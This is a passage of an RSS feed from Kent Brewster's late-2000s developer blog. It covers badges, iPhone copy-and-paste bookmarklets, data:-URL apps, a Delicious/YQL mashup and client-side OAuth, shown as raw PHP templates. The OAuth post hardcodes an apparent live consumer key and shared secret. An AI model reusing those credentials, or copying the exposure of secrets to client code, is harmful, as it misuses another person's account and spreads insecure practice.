<h3>Want to Try It Out?</h3>
<p>Paste this into the body of your document, right where you want the badge to show up:</p>
<pre>&lt;script src="http://kentbrewster.com/github-badge/behavior.js">{"user":"norm"}&lt;/script></pre>
<p>Please do NOT point to either of my copies of the script (here or on GitHub) for your production site.  That would be Bad. :)</p>
<h3>Two Ways to Grab the Source</h3>
<ul>
<li>Fork the known-to-be-working version from GitHub, here:<br /><code><a href="http://github.com/kentbrew/github-social-badge/tree/master">http://github.com/kentbrew/github-social-badge/tree/master</a></code></li>
<li>Grab the unstable experimental version from the box below.</li>
</ul>
<h3>Source Code</h3>
<pre class="source">
<?php
$org_source = file_get_contents("/home/kentbrew/public_html/github-badge/behavior.js");
$formatted = str_replace('<', '&lt;', $org_source);
echo $formatted;
?>
</pre>
<p>Have fun with this, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/github-badge</feedburner:origLink></item>
	<item>
		<title>iClipper: Client-Side iPhone Copy and Paste</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/lv7DN4pVHsU/iclipper</link>
		<guid isPermaLink="false">http://kentbrewster.com/iclipper</guid>
		<comments>http://kentbrewster.com/iclipper</comments>
		<pubDate>Tue, 27 Jan 2009 06:05:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>The first thought I had after building <a href="http://kentbrewster.com/cleeper">Cleeper</a> was "Dude, this is way too complicated.  It should just copy straight to e-mail." Here it is:</p>
<p><strong><a href="javascript:<?php echo $install; ?>">iClipper</a></strong></p>
<p>If you're on an iPhone, or if you have an e-mail client set up for your computer's Web browser, try it now.  Click it once, and then click one of the paragraphs on this page.</p>
<h3>The Difference Between iClipper and Other Solutions</h3>
<p>Unlike other Web-based solutions, iClipper does not send the content you're trying to paste back and forth to a third party site.  It lives and works entirely on your device, and nobody can ever see what you're doing or prevent you from doing it.</p>
<h3>Installing iClipper</h3>
<p>Thanks to alert reader <a href="http://hardcle.blogspot.com/">Hardcle</a> and a bit of hacking and writing just now, we have a nothing-but-iPhone install page:</p>
<p><strong><a href="http://kentbrewster.com/iclipper/install.html#javascript:<?php echo $install;?>">Install Now Without Safari Sync</a></strong></p>
<p>Go there and do what the page says and you should be up and running without synching bookmarks from Safari. If you have not already made the mistake of syncing your Safari bookmarks, definitely do this; syncing from Safari will bring over a couple of bookmark folders ("Bookmark Bar" and "Bookmarks Menu") that you will not be able to remove later.</p>
<p>If that didn't work, click the Install Through Safari link just below for Plan B:</p>
<h3 class="toggle closed">Install Through Safari</h3>
<ul class="hidden">
<li>Bring up Safari on the same machine you sync your iPhone or iPod Touch. If you don't have Safari, <a href="http://apple.com/safari">go get it now</a>.</li>
<li>Make sure your Bookmarklets toolbar is showing.  If it's not, go to View and select Show Bookmarks Bar.</li>
<li>Navigate your way back to this page.</li>
<li>Drag the iClipper bookmarklet to your Bookmarks Bar.  It will confirm that you really want to do this, and ask you what you want to call your new bookmarklet.</li>
<li>Bring up iTunes and plug in your device.  Once iTunes recognizes it--oh, and anybody who can tell me how to get Windows to quit bringing up that damn "Camera Connected" dialogue every freaking time I plug it in will be richly rewarded in Heaven--click the device name, and then bring up the Info tab, which is second in line between Summary and Ringtones on mine.</li>
<li>In Info, scroll down a bit to Web Browser.  Click the checkbox next to Sync Bookmarks With, and tell it you want Safari.</li>
<li>If you've made a change here, your Sync button (lower right corner) will turn into Cancel and Apply buttons.  Click Apply.  If not, click Sync.</li>
<li>Wait for your sync to finish; if it starts backing up your device and you don't want to wait, you can safely click the little X to the right of the Backing Up progress bar. You may get a dialogue warning you that your phone didn't back up; this is fine, as long as the sync completes successfully. (Do remember to back up occasionally, however.)</li>
</ul>
<h3>Using iClipper</h3>
<ul>
<li>Bring up Safari on your iPhone, go to the page you want to copy from, and click the little book-shaped thingie in the bottom bar.  Either your History or Bookmarks bar will probably come up; you want Bookmarks, and then Bookmarks Bar.</li>
<li>Click your iClipper bookmark, and then tap whatever you want to copy.</li>
<li>If all goes well, your e-mail client will pop up with a message filled in.  The subject line will be the title of the page you're on right now; the body will be the text contents of whatever you tapped on the page.</li>
<li>From here you can send the contents wherever you want, or simply save as a draft.  Presto, copy and paste.</li>
</ul>
<h3>Caveats and Gotchas</h3>
<ul>
<li>Since iClipper looks at a single block-level element--<code>P</code>, <code>LI</code>, <code>DIV</code>, <code>DD</code>, <code>TD</code>, <code>TEXTAREA</code>, or <code>PRE</code>--it might miss important stuff just outside the box. This is especially true for pages using tables-based layout.</li>
<li>There's no telling what might happen when this thing encounters non-English character sets.</li>
<li>At the moment we're not cleaning up after the copy operation, so if you go back to the original page and tap anything else, you'll see it in your e-mail editor as well.  For best results, reload the page instead.</li>
</ul>
<h3>How It Works</h3>
<p>Pretty simple stuff: we're going through the DOM, adding an event listener to all the block-level elements we care about, and popping up the contents in a <code>mailto:</code> url:</p>
<pre><?php $clean = str_replace('&lt', '&amp;lt', $source); $clean = str_replace('<', '&lt;', $clean); echo $clean; ?></pre>
<h3>Thank You</h3>
<ul>
<li><a href="http://www.readwriteweb.com/about_RickTuroczy.php">Rick Turoczy</a> at <a href="http://www.readwriteweb.com">ReadWriteWeb</a>, for <a href="http://www.readwriteweb.com/archives/iclipper_iphone_copy_and_paste.php">early link love</a>, and for noticing that iClipper didn't automatically append a link to the page you were clipping from. This has been fixed.</li>
<li><a href="http://hardcle.blogspot.com/">Hardcle</a>, for the right direction on installing without Safari.</li>
<li>Jed "<a href="http://pastebud.com">PasteBud</a>" Schmidt, for blazing the trail.</li>
<li>Jim, in the comments, who came through with instructions for disabling that stoopid Windows pop-up every time I plug in my phone.</li>
<li>Adrian Cahen, who gently pointed out that the base-64 encoding trick I'm using with Cleeper isn't necessary here. Gosh, that's embarassing. :)</li>
</ul>
<p>iClipper has miles to go; if you're a developer and are thinking about taking it further, be my guest.  (A link back here would be appreciated, of course.)  As always, have fun, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/iclipper</feedburner:origLink></item>
	<item>
		<title>Cleeper, an iPhone Copy-To-Twitter Assistant</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/Q9l1F5E7jqc/cleeper</link>
		<guid isPermaLink="false">http://kentbrewster.com/cleeper</guid>
		<comments>http://kentbrewster.com/cleeper</comments>
		<pubDate>Fri, 23 Jan 2009 22:36:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>One of the iPhone's few glaring disappointments is the lack of proper copy and paste.  If I'm on a page and I want to send a chunk of it over to <a href="http://twitter.com">Twitter</a>, I have no choice but to memorize it, bring up Twitter's horrific little iPhone interface, and painfully bang it in there with my big fat fingers. After warming up with <a href="http://kentbrewster.com/iclock">iClock</a>, a toolbar bookmarklet that contains an entire Web page in a base-64 encoded <code>data:</code> URL, I was ready to try something a bit more useful.  Hopefully this is it:</p>
<p><a href="javascript:(function(d){d.body.appendChild(d.createElement('SCRIPT')).src='data:text/html;charset=utf-8;base64,<?php echo $b64;?>';})(document);">Cleeper</a></p>
<p>Cleeper will inject itself into the page you're on, wait for you to click an existing block-level element, and copy the text of the element into an entry box, where you can edit it.  After you're done editing, click the Cleep button to send your message off to Twitter.  You'll still need to hit Twitter's update button, so don't panic; Cleeper's not going to post anything on your behalf.</p>
<p>Click it and try it out here first, just so you know what you're getting into. If you want to try it on your iPhone or iPod Touch, drag it to your Safari bookmarks toolbar, sync bookmarks to your device, and you ought to be off and running.  If you need some instruction on exactly how to get Cleeper onto your iPhone, click this:</p>
<h3 class="toggle closed">Painfully Detailed Installation Instructions</h3>
<ul>
<li>Bring up Safari on the same machine you sync your iPhone or iPod Touch. If you don't have Safari, <a href="http://apple.com/safari">go get it now</a>.</li>
<li>Make sure your Bookmarklets toolbar is showing.  If it's not, go to View and select Show Bookmarks Bar.</li>
<li>Navigate your way back to this page.</li>
<li>Drag the Cleeper bookmarklet to your Bookmarks Bar.  It will confirm that you really want to do this, and ask you what you want to call your new bookmarklet.</li>
<li>Bring up iTunes and plug in your device.  Once iTunes recognizes it--oh, and anybody who can tell me how to get Windows to quit bringing up that damn "Camera Connected" dialogue every freaking time I plug it in will be richly rewarded in Heaven--click the device name, and then bring up the Info tab, which is second in line between Summary and Ringtones on mine.</li>
<li>In Info, scroll down a bit to Web Browser.  Click the checkbox next to Sync Bookmarks With, and tell it you want Safari.</li>
<li>If you've made a change here, your Sync button (lower right corner) will turn into Cancel and Apply buttons.  Click Apply.  If not, click Sync.</li>
<li>Wait for your sync to finish; if it starts backing up your device and you don't want to wait, you can safely click the little X to the right of the Backing Up progress bar. You may get a dialogue warning you that your phone didn't back up; this is fine, as long as the sync completes successfully. (Do remember to back up occasionally, however.)</li>
</ul>
<h3>Using Cleeper</h3>
<ul>
<li>Bring up Safari on your iPhone, navigate your way back here, and click the little book-shaped thingie in the bottom bar.  Either your History or Bookmarks bar will probably come up; you want Bookmarks, and then Bookmarks Bar.</li>
<li>Deep inside your Bookmarks Bar, which should come up by default next time, you'll see the bookmark you sync'ed from Safari.  Click it, and you should see a lovely yellow box at the top of the page you're browsing.</li>
<li>Click what you want to tweet and the yellow box should expand to show its text content.</li>
<li>Double-tap the text box to zoom in, edit until the number of characters in the middle is under 140--this is not terribly important, but you'll have a better experience editing here than on the mobile version of Twitter, so you might as well go ahead--and then click that left button.</li>
<li>Twitter should come up, with your message all filled in and ready to send.  If you need to log in, you can do so and your message will be there when you get back.</li>
<li>Fire away!</li>
</ul>
<h3>If I Could Ask One Special Favor....</h3>
<p>... it would be that your first Cleeper-assisted tweet looks something like this:</p>
<p><tt>Trying out @kentbrew's Cleeper, an iPhone copy-to-Twitter assistant, from http://bit.ly/pxfu</tt></p>
<p>Go on, cleep it right now. You know you want to! :)</p>
<h3>Caveats and Gotchas</h3>
<ul>
<li>Existing document styles may hose the entry box's colors, layout, and font sizes.</li>
<li>If you copy a paragraph that contains more words than will fit into the text entry box, or the font size (see above) is too big, you won't be able to scroll down.</li>
<li>There's no telling what might happen when this thing encounters non-English character sets.</li>
<li>We're not cleaning up after that Cancel button; for best results, reload the page instead.</li>
</ul>
<h3>Directions for Future Development</h3>
<ul>
<li>Paste straight to e-mail.</li>
<li>Add a bunch of different services, not just Twitter. There's no reason why Cleeper shouldn't be a global share-this/annotate-this bookmarklet.</li>
<li>Be more precise about selecting text.  Figure out how to break each detected block-level element into word-sized <code>SPAN</code> tags, and only bring in enough to fill the entry box.</li>
<li>Think about using Safari's HTML5 persistent database as a clipboard.  You'd need two bookmarklets, one to copy and one to paste, but it would probably work, and would be a client-only solution to the global copy-and-paste problem.</li>
</ul>
<h3>How It Works</h3>
<p>It's a tiny bit more complicated than iClock, which runs straight from a <code>data:</code> url.  In order for Cleeper to work, we need to inject it into the page containing the target text.  That's easy; we do something like this:</p>
<pre>javascript:(function(d){d.body.appendChild(d.createElement('SCRIPT')).src='http://yourserver.com/yourscript.js';})(document);</pre>
<p>Because we don't want the code that does the heavy lifting to come from an outside server--privacy, efficiency, and all that--we need to serve it up locally, using the base-64 encoding method described in <a href="http://kentbrewster.com/iclock">iClock</a>.  So we write a script, base-64-encode the whole thing, and serve it up as data instead of fetching <tt>http://yourserver.com/yourscript.js</tt> from a remote URL.  Like so:</p>
<pre>javascript:(function(d){d.body.appendChild(d.createElement('SCRIPT')).src='data:text/html;charset=utf-8;base64,yourbase64encodedscript';})(document);</pre>
<h3 class="toggle closed">The Actual Source Code</h3>
<pre class="source"><?php $clean = str_replace('<', '&lt;', $source); echo $clean; ?></pre>
<p>Sorry this is so compressed; I was running up against a hard number-of-characters-in-a-bookmarklet limit in Safari. It's pretty unremarkable DOM manipulation, and probably could be improved with an axe.</p>
<p>If you find Cleeper to be useful, please follow me at <a href="http://twitter.com/kentbrew">kentbrew</a>, so I can keep you up-to-date. As always, have fun with this, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/cleeper</feedburner:origLink></item>
	<item>
		<title>iClock : an Instant iPhone App</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/iy2lGQM7Lnw/iclock</link>
		<guid isPermaLink="false">http://kentbrewster.com/iclock</guid>
		<comments>http://kentbrewster.com/iclock</comments>
		<pubDate>Mon, 08 Dec 2008 21:47:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<iframe height="268" style="float:right;margin:10px;border:1px solid black;" width="480" src="<?php echo $b64; ?>"></iframe>
<p>Here's an interesting technique spotted on <a href="http://blog.clawpaws.net/post/2007/07/16/Storing-iPhone-apps-locally-with-data-URLs">W. Clawpaw</a>'s page quite a while back, using <code>data:</code> urls as the source of toolbar bookmarklets and iPhone apps.</p>
<p>What you're seeing on this page isn't mine; it's lifted mostly from the Mozilla Developer Center's <a href="https://developer.mozilla.org/En/Canvas_tutorial:Basic_animations">Basic Animations</a> page for the <code>&lt;CANVAS></code> tag.</p>
<p>To try running it on your iPhone, visit this page and click this handy <strong><a href="<?php echo $b64; ?>">iClock Link</a></strong> and wait for it to load up.  Once it's running, hit the + at the bottom of your browser to add it to your home screen.  (For the nicest-looking icon, turn the iPhone or iPod on its side into landscape mode.)</p>
<p>The rendered page shouldn't look any different from this; you can even view source and see how it works. The difference will be in the URL: instead of <code>http://kentbrewster.com/iclock</code>, the entire base-64-encoded page will be contained in the bookmarked URL.  Once it's running, go back out to your Settings, turn off your network by going into Airplane Mode, and then come back and try iClock again. If all went well, you should see a working clock with your network disabled, because the bookmark itself contains everything necessary to recreate the page.</p>
<h3>How to Do Something Like This Yourself</h3>
<p>First, write a page that looks good and works well on an iPhone.  If you haven't tried this already you're in for some head-scratching; good search terms include <code><a href="http://search.yahoo.com/search?p=window.onorientationchange">window.onorientationchange</a></code>, <code><a href="http://search.yahoo.com/search?p=preventDefault+iphone">preventDefault</a></code>, and <code><a href="http://search.yahoo.com/search?p=window.scrollTo(0,1)">window.scrollTo(0, 1)</a></code>.</p>
<p>Next, you'll need to concatenate everything--the entire page, HTML, CSS, JavaScript, the works--into a single file.  Remember, we want to load everything up at once, without including any external resources from the network.</p>
<p>Finally, convert the source of your working page to base-64 encoding. I wound up using an online form from <a href="http://rumkin.com/tools/compression/base64.php">Tyler Akins</a>.</p>
<p>Once you've got your base-64 encoded page, serve it up thusly:</p>
<pre>&lt;a href="data:text/html;charset=utf-8;base64,Base64EncodedGibberishHere">Link Title&lt;/a></pre>
<p>Your page ought to load up inline and work when you click it or drag it up into your Web browser's bookmark tool.  Once you're happy with it, fire it up on your iPhone the same way you installed iClock.</p>
<p>As always, have fun with this and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/iclock</feedburner:origLink></item>
	<item>
		<title>Delicious Search Exploder</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/50GF8f_fSTg/delicious-search-exploder</link>
		<guid isPermaLink="false">http://kentbrewster.com/delicious-search-exploder</guid>
		<comments>http://kentbrewster.com/delicious-search-exploder</comments>
		<pubDate>Fri, 05 Dec 2008 15:44:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<style>
#delicious {
   margin:20px;
   width:820px;
   display:block;
}

#delicious:after {
   clear:both;
   content:".";
   display:block;
   height:0;
   visibility:hidden;
}


#delicious #clouds {
   width:200px;
   float:left;
}

#delicious #search {
   width:600px;
   float:left;
}

#delicious div.cloudBox {
   margin-bottom:10px;
   border:1px solid #aaa;
   width:190px;
   text-align:center;
   overflow:hidden;
   clear:both;
}

#delicious div.cloudBox h3 {
   text-align:left;
}

#delicious div.cloudBox cite a {
   text-decoration:none;
}

#delicious div.cloudBox cite a:hover {
   color:#fff;
   background-color:#3274d0;
}

#delicious div.searchBox {
   margin-bottom:10px;
   border:1px solid #aaa;
   width:600px;
}
#delicious cite {
   display:block;
   margin-left:10px;
   font-size:86%;
   font-style:normal;
}
#delicious a {
   color:#1259C7;
}
#delicious cite a {
   color:#555;
}
#delicious a {
   text-decoration:none;
   cursor:pointer;
}
#delicious a:hover {
   text-decoration:underline;
}
#delicious select {
   font-size:92%;
   margin:0 5px;
}
#delicious input, #delicious select {
   font-weight:normal!important;
   border:none;
}

#delicious h3 a.boondoggleBox {
   display:block;
   float:left;
   height:20px;
   width:20px;
   background:transparent url(http://us.yimg.com/i/us/mb/norgie_open_dna.gif) 0 50% no-repeat;
}

#delicious h3 a.boondoggleBox.boondoggleBoxClosed {
   background-image: url(http://us.yimg.com/i/us/mb/norgie_closed_dna.gif);
}

#delicious a.x {
   display:block;
   float:right;
   height:15px;
   width:15px;
   background:transparent url(http://us.i1.yimg.com/us.yimg.com/i/us/my/mw/x2.gif) 0 50% no-repeat;
}

#delicious a.boondoggleBox.boondoggleBoxBusy {
   background-image: url(http://l.yimg.com/us.yimg.com/i/us/my/mw/anim_loading_sm.gif);
}

#delicious h3 {
   margin:0!important;
   padding:5px;
   background-color:#3274D0;
   color:#fff;
}

#delicious h3 a {
   color:#fff;
   font-size:92%;
}

#delicious a.save {
   font-size:87%;
   font-family:Arial, Verdana, sans-serif;
   text-transform:uppercase;
   padding:2px 4px;
   color:#7991b3;
}

#delicious a.save:hover {
   color:#fff;
   background:#3274d0;
   text-decoration:none;
}

#delicious ul {
   margin:5px!important;
   padding:0!important;
}

#delicious ul li {
   list-style:none!important;
   margin:0!important;
}
</style>
<p>Until the release of <a href="http://developer.yahoo.com/yql" target="_vu">Yahoo! Query Language</a>, one of the key parts missing from <a href="http://delicious.com" target="_vu">del.icio.us</a> (or "Delicious," as it's now branded) was a full-text search API.  What follows uses YQL, Pipes, and a couple of native feeds from Delicious to provide an on-page search-and-browse experience, for users, tags, and sites.</p>
<div id="delicious">
<div id="clouds"></div>
<div id="search"></div>
</div>
<script src="http://kentbrewster.com/delicious-search-exploder/behavior.js"></script>
<h3>Things to Do and Notice</h3>
<ul>
<li>The initial search defaults to "yahoo."  Enter something else--"Luke Wroblewski" gives interesting results--and hit Enter to re-run.</li>
<li>Results show the page, the first user to bookmark it, and some tags.  Click the page to visit the page; click the tag or user to open a new search box.</li>
<li>To re-run the search against tags or users, change the value in the select box.</li>
<li>As you open new searches, all the users and tags you encounter will build up in their respective boxes.</li>
<li>As you run searches or click tags and users, they will go into a special set of boxes up top, to help keep track of things.</li>
<li>To visit any search term, tag, or user on Delicious, open (or find) their search box and click the "see on del.icio.us" link in the header.</li>
<li>To visit a page, click its title.  Notice that it also opens in the "page on del.icio.us" box; click the title there to visit the detailed entry for that page on del.icio.us.</li>
</ul>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/delicious-search-exploder</feedburner:origLink></item>
	<item>
		<title>Identica Badge: No Longer Just a Prototype</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/1wjQujsecYo/identica-badge</link>
		<guid isPermaLink="false">http://kentbrewster.com/identica-badge</guid>
		<comments>http://kentbrewster.com/identica-badge</comments>
		<pubDate>Thu, 04 Dec 2008 23:03:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>After gentle poking from <a href="http://identi.ca/zach">Zach</a> and <a href="http://identi.ca/marjoleink">Marjolein</a>, here's the updated identi.ca badge, which runs entirely without Pipes:</p>
<script type="text/javascript" src="http://kentbrewster.com/js/identica-badge.js">
{
   "user":"kentbrew",
   "server":"identi.ca",
   "headerText":" and friends"
}
</script>
<h3>Things to Do and Notice</h3>
<p>If you see an author's name in a post, click it to explore his or her friends' posts.  Click the avatar to visit the home page.  To visit the author's identi.ca page, click the top link, to so-and-so with friends.  Unicode should be (finally) working. </p>
<p>Other new goodies:  click the date to visit the post, the in-reply-to link to go to the original, @-links to visit author pages, and #-links to go to the search page.  Oh, and I think I've gotten most of the default colors to match identi.ca; sorry if this breaks any custom formatting, but I warned you not to leech it from me, didn't I? :)</p>
<p>To try this yourself, copy and paste the following wherever you want the badge to show up:</p>
<pre class="code">
&lt;script type="text/javascript" src="http://kentbrewster.com/js/identica-badge.js">
{
   "user":"kentbrew",
   "server":"identi.ca",
   "headerText":" and friends"
}
&lt;/script>
</pre>
<p>Substitute your own ID in the <code>user</code> parameter; many of the other parameters available in <a href="http://kentbrewster.com/twitterati" target="_blank">Twitterati</a> will also work.</p>
<p>If you find a working Laconica server that forms its RSS urls the way identi.ca does, the badge should work unmodified as long as you substitute the server name of your choice for <code>identi.ca</code> in the second parameter.</p>
<h3>Known Trouble</h3>
<p>Sort isn't working on My Little Friend IE.</p>
<p>There's an extra call when the thing starts up; it needs to look up the numeric id and common name for the screen name you enter.</p>
<h3>About Identica / Laconica</h3>
<p>As it says on the About page, <a href="http://identi.ca" target="_blank">Identi.ca</a> is a <a href="http://en.wikipedia.org/wiki/Micro-blogging" target="_blank">micro-blogging</a> service based on the Free Software <a href="http://laconi.ca/" target="_blank">Laconica</a> tool.</p>
<p>For more about the project, see Marshal Kirkpatrick's <a href="http://www.readwriteweb.com/archives/indentica_federated_twitter.php" target="_blank">Identi.ca: May A Million Twitters Bloom</a>, Hugh McGuire's <a href="http://hughmcguire.net/2008/07/08/micro-moblogging-or-why-identica-matters/" target="_blank">Why Identi.ca Matters</a>, and Edd Dumbill's <a href="http://times.usefulinc.com/2008/07/03-identica" target="_blank">Why Identi.ca is Important</a>.  Personally I'm thrilled by the idea and encouraged by its execution so far, and have been poking cautiously at Laconica for the past couple of weeks, hoping to contribute in whatever way I can.</p>
<h3>About the Techniques</h3>
<p>For background information about how badges like this one work, please see <a href="http://kentbrewster.com/badges/" target="_blank">Case-Hardened Web Badges</a>, which I presented at Web 2.0 earlier this year.</p>
<p>As I've said before, this badge will hopefully wind up being hosted by the project.  I don't mind if you try it out, but please host your own copy if you put it in production anywhere.</p>
<p>Have fun, and please let me know how it goes!  (You can find me on identi.ca under <a href="http://identi.ca/kentbrew">kentbrew</a>.)</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/identica-badge</feedburner:origLink></item>
	<item>
		<title>Baby Steps with OAuth and YQL</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/ZESNOkSXUkI/oauth-baby-steps</link>
		<guid isPermaLink="false">http://kentbrewster.com/oauth-baby-steps</guid>
		<comments>http://kentbrewster.com/oauth-baby-steps</comments>
		<pubDate>Tue, 11 Nov 2008 19:24:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>For my <a href="http://seedcamp.com">SeedCamp</a> talk I've built a small application using Yahoo! Query Language and oAuth. To try it out, enter the stock ticker symbol of your choice. (YHOO, MSFT, GOOG, and AAPL are a few of my favorites.)</p>
<div id="yql"></div>
<h3>How It Works</h3>
<p>A short while back, the smart folks behind <a href="http://pipes.yahoo.com">Yahoo! Pipes</a> released the next iteration, <a href="http://developer.yahoo.com/yql">Yahoo! Query Language</a>.  YQL treats everything on the Web like a database table; the syntax will be familiar to anyone who's ever used MySQL.  Here's how we're getting the data for the demo above:</p>
<pre>select * from html where url="http://finance.yahoo.com/q?s=yhoo" and
xpath='//div[@id="yfi_headlines"]/div[2]/ul/li'</pre>
<p>This does exactly what you think it does: it requests the Yahoo! Finance listing for the ticker of your choice (YHOO, in this case) and uses XPath to grab just the recent headlines.  Go try out <a href="http://developer.yahoo.com/yql/console/">the YQL console</a> now, if you want; this example is all the way down the list of Available Data Tables, on the right of the page.</p>
<p>There is, of course, one small complication: as of right now--they tell me this will change soon for public data--all YQL calls need to be signed with oAuth. As long as you are absolutely sure you're not revealing a consumer key that is also used to access user data for some other application, a two-legged oAuth call can be done entirely on the client side with JavaScript.  Here's how I did it:</p>
<?php
define(API_KEY, "dj0yJmk9ZnVMMHprZDZRU0ZRJmQ9WVdrOWRXaElVRzFoTnpJbWNHbzlNVEUwTkRreU5qWXlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xNw--");
define(SHARED_SECRET, "1dc9ed24f219ddf1f6d2c2060a7a13e59650b4f3");
$org_source = file_get_contents("/home/kentbrew/public_html/inc/js/oauth-two-legs.js");
$source = str_replace('--consumer key goes here--', API_KEY, $org_source);
$source = str_replace('--shared secret goes here--', SHARED_SECRET, $source);
echo "<script>$source</script>";
$org_source = str_replace('<', '&lt;', $org_source);
echo "<pre>$org_source</pre>\n";
?>
<p>Please go get your own oAuth application key at <a href="https://developer.yahoo.com/dashboard/">the YDN dashboard</a>; using mine would be terribly bad karma. :)</p>
<p>I'm not going to go into a huge amount of detail here; I'm trying to figure out three-legged oAuth right now, and hopefully this approach won't be necessary in a little while.  Still, it was fun to figure out client-side oAuth--it's quite a bit simpler than it looks in the <a href="http://oauth.googlecode.com/svn/code/javascript/oauth.js">Netflix library</a>--and put something up.</p>
<p>Of particular interest here may be the compressed HMAC-SHA1 function; this was simplified from Paul Johnston's full-sized version, here: <code><a href="http://pajhome.org.uk/crypt/md5/sha1.js">http://pajhome.org.uk/crypt/md5/sha1.js</a></code>.</p>
<p>I think YQL is at least as significant of a development as Pipes. Pipes made client-side mash-ups possible; YQL will make possible a global API layer over anything you can touch with HTTP.  More on this, later.</p>
<p>As always, have fun with this, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/oauth-baby-steps</feedburner:origLink></item>
	<item>
		<title>CrunchBadge</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/r9ivsUTJfJM/crunchbadge</link>
		<guid isPermaLink="false">http://kentbrewster.com/crunchbadge</guid>
		<comments>http://kentbrewster.com/crunchbadge</comments>
		<pubDate>Fri, 25 Jul 2008 11:48:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Here's a single-line JavaScript include that will check all the links on your page for pointers to <a href="http://crunchbase.com/product/crunchbase">CrunchBase</a>, heat 'em up, and pop up a badge full of lovely explanatory data when your reader mouses over and holds for a quarter-second.</p>
<pre>&lt;script type="text/javascript" src="http://kentbrewster.com/crunchbadge/crunchbadge-prototype.js">&lt;/script></pre>
<p>CrunchBadge uses many of the techniques detailed in <a href="http://kentbrewster.com/badges">Case-Hardened JavaScript</a>; please go there for technical details.  If you want to poke at the CrunchBase API, which is pretty sweet, check out their <a href="http://groups.google.com/group/crunchbase-api/">Google group</a>.</p>
<p>After the result renders, we're running everything back through the link detector, so you can continue to surf CrunchBase while remaining on the page you were interested in.  Once you mouse over a second enhanced link, its title will go into the select box in the headline, and you'll be able to easily find your way back.</p>
<p>To minimize mistaken mouse-overs, we've added an arbitrary quarter-second delay between event detection and response.</p>
<h3>Please Note</h3>
<p>This is a PROTOTYPE, folks. Feel free to try it out from here, but do NOT put it into production anywhere or I will rename the script.  If you want to run it on your page, please host it yourself!</p>
<h3>Try It Out</h3>
<p>Mouse over any of the following links to see it working:</p>
<ul>
<li><a href="http://www.crunchbase.com/company/amazon">Amazon</a></li>
<li><a href="http://www.crunchbase.com/company/sun-microsystems">Sun Microsystems</a></li>
<li><a href="http://www.crunchbase.com/person/michael-arrington">Michael Arrington</a></li>
<li><a href="http://www.crunchbase.com/financial-organization/kleiner-perkins-caufield-byers">Kleiner Perkins Caufield & Byers</a></li>
<li><a href="http://www.crunchbase.com/service-provider/attention-pr">Attention PR</a></li>
<li><a href="http://www.crunchbase.com/product/twhirl">Thwirl</a></li>
</ul>
<script src="http://kentbrewster.com/crunchbadge/crunchbadge-prototype.js"></script>
<p>Please note that these are standard links, with absolutely nothing extra added.  Due to the excellent foresight of the CrunchBadge site and API designers, everything you need is already right there in the URL.</p>
<h3>Still to Come</h3>
<p>Right now we're just showing titles, images, overviews, lists of relationshiops for companies, and Web presences for individual people. There's a ton more stuff in CrunchBase, and I can think of lots of interesting mash-ups to be done with stock quotes, Web search, social networking, and other stuff.</p>
<h3>Thank You</h3>
<p>Mike Arrington and the rest of the TechCrunch / CrunchBase team, who are putting out one hell of a valuable resource, for free. Nicely done, you guys!</p>
<style>a.cb { background:#ffa; border-bottom:1px dotted green; }</style>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/crunchbadge</feedburner:origLink></item>
	<item>
		<title>Case-Hardened Web Badges: the Live Version</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/nQw-CUIjTSo/badges</link>
		<guid isPermaLink="false">http://kentbrewster.com/badges</guid>
		<comments>http://kentbrewster.com/badges</comments>
		<pubDate>Thu, 19 Jun 2008 09:30:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>Here at last is my presentation from Web 2.0, which I've been criminally remiss in posting.  It's live now because of L.M. Orchard's marvelous <a href="http://decafbad.com/blog/2008/06/16/firefox-3-download-day-mega-widget">Firefox Download Day Mega Widget</a>, which uses some of the techniques.</p>
<iframe height="650" width="800" border="none" src="http://kentbrewster.com/badges/preso.html"></iframe>
<p><a href="http://kentbrewster.com/badges/preso.html" target="_preso">Start Presentation in New Window</a></p>
<p>Please keep in mind that this is a presentation, not a book.  Lots of stuff is hinted at; much was said live that isn't here, obviously.  If you'd like me to present this--or something like it--at your conference, please <a href="http://kentbrewster.com/contact/">contact me</a> and I'll see what I can do.</p>
<p>Yes, the examples really do work; copy, paste, save, and run, and you'll see it live, right there in your browser.</p>
<p>As always, have fun, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/badges</feedburner:origLink></item>
	<item>
		<title>Creating Open Profiles</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/hCVysEpSfEw/creating-open-profiles</link>
		<guid isPermaLink="false">http://kentbrewster.com/creating-open-profiles</guid>
		<comments>http://kentbrewster.com/creating-open-profiles</comments>
		<pubDate>Tue, 06 May 2008 20:18:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
